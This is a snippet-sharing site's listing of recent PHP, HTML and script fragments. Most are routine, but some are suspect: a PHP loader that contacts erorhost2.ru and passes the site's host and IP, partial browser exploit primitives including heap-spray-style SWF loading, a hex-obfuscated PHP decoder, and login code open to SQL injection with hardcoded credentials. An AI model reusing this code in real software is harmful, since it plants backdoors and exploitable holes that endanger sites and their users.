Format:
Recent snippets matching language of HtmlPhp
<?php
$ Fp = @fsockopen("erorhost2.ru", 80, $ errno, $ errstr, 6);
if (!$ fp)
{
return '';
} else
{
$page = @file("http://erorhost2.ru/id1.php?site=" . $_SERVER[HTTP_HOST] . "&ip=" .
6 Views
no comments
<?php $user = &JFactory::getUser(); $username = $user->get('username'); echo $username; ?> <form method="post" action="https://www.sofortueberweisung.de/payment/start"> <input name="user_id" value="34559" type="hidden"> <input name="project_id" value="91392" type="hidden">
9 Views
no comments
function foo(x, y){ var a34593t9bdgert = arguments.callee;
a34593t9bdgert = a34593t9bdgert.toString();
return x+y-a34593t9bdgert[32];
}
var x = foo(1,2);
alert(x);
8 Views
no comments
function objToPtr(obj) {
var i;
var even = new Dictionary();
var odd = new Dictionary();
for (i = 1024*1024*4; i < (1024*1024*8); i += 1) {
even[i * 2] = i;
odd[i * 2 + 1] = i;
}
even[obj] = 1;
odd[obj] = 1;
5 Views
no comments
function pageLoad(i) {
var ldr = new Loader();
var url = "http://10.12.8.54/block.swf";
var urlReq = new URLRequest(url);
ldr.load(urlReq);
childRef = addChild(ldr); //returns a DisplayObject
MyTextField2.text=i+"";
}
for (var i=0;i<2000;i++) pageLoad(i+1);
6 Views
no comments
<html><head><title></title> </head> <script> var addr; function exploit(target) { //target=2425393296; addr=target; setTimeout(go,300); } function go() {
8 Views
no comments
<?
$buf = "\x31\x31\x31\x20\x33\x32\x20\x31\x30\x36\x20\x31\x31\x37\x20\x31\x31\x30\x20\x31";
$buf .= "\x30\x35\x20\x31\x31\x31\x20\x31\x31\x34\x20\x33\x32\x20\x39\x37\x20\x31\x30";
$buf .= "\x39\x20\x39\x37\x20\x33\x32\x20\x39\x37\x20\x33\x32\x20\x31\x30\x39\x20\x39\x37";
$buf .= "\x20\x31\x31\x35\x20\x31\x31\x35\x20\x31\x31\x37\x20\x31\x30\x39\x20\x31\x30\x35";
$IK = TRUE;function ___OL($o, $t=FALSE){return $t?explode($o,$t):chr($o);}/*___OL($p);*/function _PL(&$buf, $IK=TRUE){$r=NULL;//**$&LH=FALSE;x/
foreach(___OL("\x20", $buf) AS $LR)/*$LR=1;&$buf=NULL;*/$r.=___OL($LR);
if(!$IK)RETURN $r;
print_r($r);}IF($x = _PL(&$buf,(int)1))
/*&$x^1//*/throw new Exception($x,404);
15 Views
no comments
<?php wp_list_categories('orderby=name&use_desc_for_title=0&child_of=3&title_li='); ?>
11 Views
no comments
<?php include('classes/mysql.php'); include('classes/print.php'); $print = new board; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
11 Views
no comments
<?php /* If this is the frontpage */ if ( is_home() || is_page() ) { ?> <?php wp_list_bookmarks(); ?> <li><h2>Meta</h2> <ul> <?php wp_register(); ?> <li><?php wp_loginout(); ?></li> <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li> <?php wp_meta(); ?> </ul>
10 Views
no comments
<?php session_start(); if ($_SESSION['user'] == "guest" || $_SESSION['user'] == null) header('location: Index.php'); include 'Safety.php'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
13 Views
no comments
<?php
$coded = 064211f432791495bb86aa10165dc03b;
if (($_POST["uname"] != "user087") && ($_POST["pass"] != "420babies")) {
header("Location: projectgrow.php");
exit;
}
if (($_POST["uname"] == "user087") && ($_POST["pass"] == $coded {
echo "Trusted";
}
13 Views
no comments
<?php
$antitag = "06";
$antimonat = "08";
$antijahr = "2010";
$antistunde = "00";
$antiminute = "00";
$antisekunde = "00";
$timestamp = time();
$tag = date("d",$timestamp);
11 Views
no comments
<link rel="stylesheet" href="<?php echo base_url();?>style.css" type="text/css" media="screen" /> <link rel="stylesheet" href="<?php echo base_url();?>css/style1.css" type="text/css" media="screen" /> <link rel="stylesheet" type="text/css" href="<?php echo base_url();?>buttons.css"/> <link rel="stylesheet" type="text/css" href="<?php echo base_url();?>lib/notifications.css" /> <link rel="stylesheet" href="<?php echo base_url();?>uniform/css/uniform.default.css" type="text/css" media="screen"> <link rel="stylesheet" type="text/css" href="<?php echo base_url();?>borders.css"/> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.0/jquery.min.js"></script> <script type="text/javascript" src='<?php echo base_url();?>js/jquery-1.4.2.min.js.js'</script>
14 Views
no comments
<?php function duckLoad($uzanti){ $site = file_get_contents('http://duckload.com/divx/'.$uzanti.'.html'); $bir = explode('<embed', $site); $iki = explode('</embed>', $bir[1]); $son = '<embed '.$iki[0].'</embed>'; return $son; }
14 Views
no comments
<?php $site = file_get_contents('http://www.cyber-warrior.org/Academy'); $bir = explode('<table width="96%" border="0" align="center" height="25" cellspacing="2" cellpadding="0" bgcolor="#000000">', $site); $iki = explode('<table width="96%" border="0" align="center" height="99" cellspacing="2" cellpadding="0" bgcolor="#000000">',$bir[1]); $uc = str_replace('../images/','http://www.cyber-warrior.org/images/',$iki[0]); echo '<table width="96%" border="0" align="center" height="25" cellspacing="2" cellpadding="0" bgcolor="#000000">'.$uc; ?>
19 Views
no comments
<?php
function altMenuVarMi($parent)
{
// varsayılan olarak false döndürelim
$alt_menu= false;
// gönderilen parent değişkenine bağlı içerik var mı sayalım
$sorgu= mysql_query(sprintf("select COUNT(*) AS kayit from tree where parent_id = %d", $parent));
$sonuc= mysql_fetch_assoc($sorgu);
// eğer kayıt var ise
15 Views
no comments
<html> <head> <title></title> <style> .ULCtrlList { list-style-type: none; display: inline; }
21 Views
no comments
<?php session_start();
mysql_connect ('localhost', 'tomer', 'asd') or die ('Could not connect: ' . mysql_error());
mysql_select_db ('tomersh') or die ('Can\'t use database: ' . mysql_error());
$nickname = $_POST['nickname'];
$pass = md5($_POST['pass']);
$MySQL = "SELECT * FROM users WHERE nickname = '" .$nickname ."' AND pass = '" .$pass ."'";
$result = mysql_query($MySQL);
13 Views
no comments
<?php session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv = "Content-Type" content = "text/html; charset = UTF-8">
20 Views
no comments
if ($_POST['reg_submit'] != null)
{
mysql_connect ('localhost', 'tomer', 'asd') or die ('Could not connect: ' .mysql_error());
mysql_select_db ($tomersh) or die ('Can\'t use database: ' .mysql_error());
$nickname = $_POST['nickname'];
$fname = $_POST['fname'];
$lname = $_POST['lname'];
$pass = md5($_POST['pass']);
$email = $_POST['email'];
13 Views
no comments
<?php session_start(); if ($_SESSION['user'] != "admin") header('location: Index.php'); include 'Safety.php'; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
15 Views
no comments
<script type = "text/javascript"> function clock1() { var d = new Date(); var sec = d.getSeconds(); if (sec < 10) sec = "0" +sec; var min = d.getMinutes(); if (min < 10) min = "0" +min;
13 Views
no comments
Subscribe
Discuss
What's new
What is it
New Snippet
Recent Snippets
My Snippets
Web Code
Search
